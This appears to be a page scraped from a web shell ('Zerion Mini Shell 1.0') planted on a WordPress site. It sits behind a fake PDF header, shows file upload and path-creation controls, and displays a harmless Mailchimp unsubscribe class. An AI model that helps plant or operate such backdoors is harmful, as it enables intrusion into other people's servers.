%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/gachan/www/wp-content/plugins/mailchimp/includes/
Upload File :
Create Path :
Current File : /home/gachan/www/wp-content/plugins/mailchimp/includes/class-unsubscribe-request.php

<?php

// prevent direct file access
if( ! defined( 'ABSPATH' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit;
}

class MC4WP_Unsubscribe_Request extends MC4WP_Request {
	/**
	 * @return bool
	 */
	public function process() {

		$api = mc4wp_get_api();
		$result = false;

		foreach( $this->get_lists() as $list_id ) {
			$result = $api->unsubscribe( $list_id, $this->user_data['EMAIL'] );
		}

		if( ! $result ) {
			$this->mailchimp_error = $api->get_error_message();
			$this->message_type =  ( in_array( $api->get_error_code(), array( 215, 232 ) ) ) ? 'not_subscribed' : 'error';
		} else {
			$this->message_type = 'unsubscribed';
		}

		$this->success = $result;

		return $result;
	}

	/**
	 *
	 */
	public function prepare() {
		return true;
	}
}

Zerion Mini Shell 1.0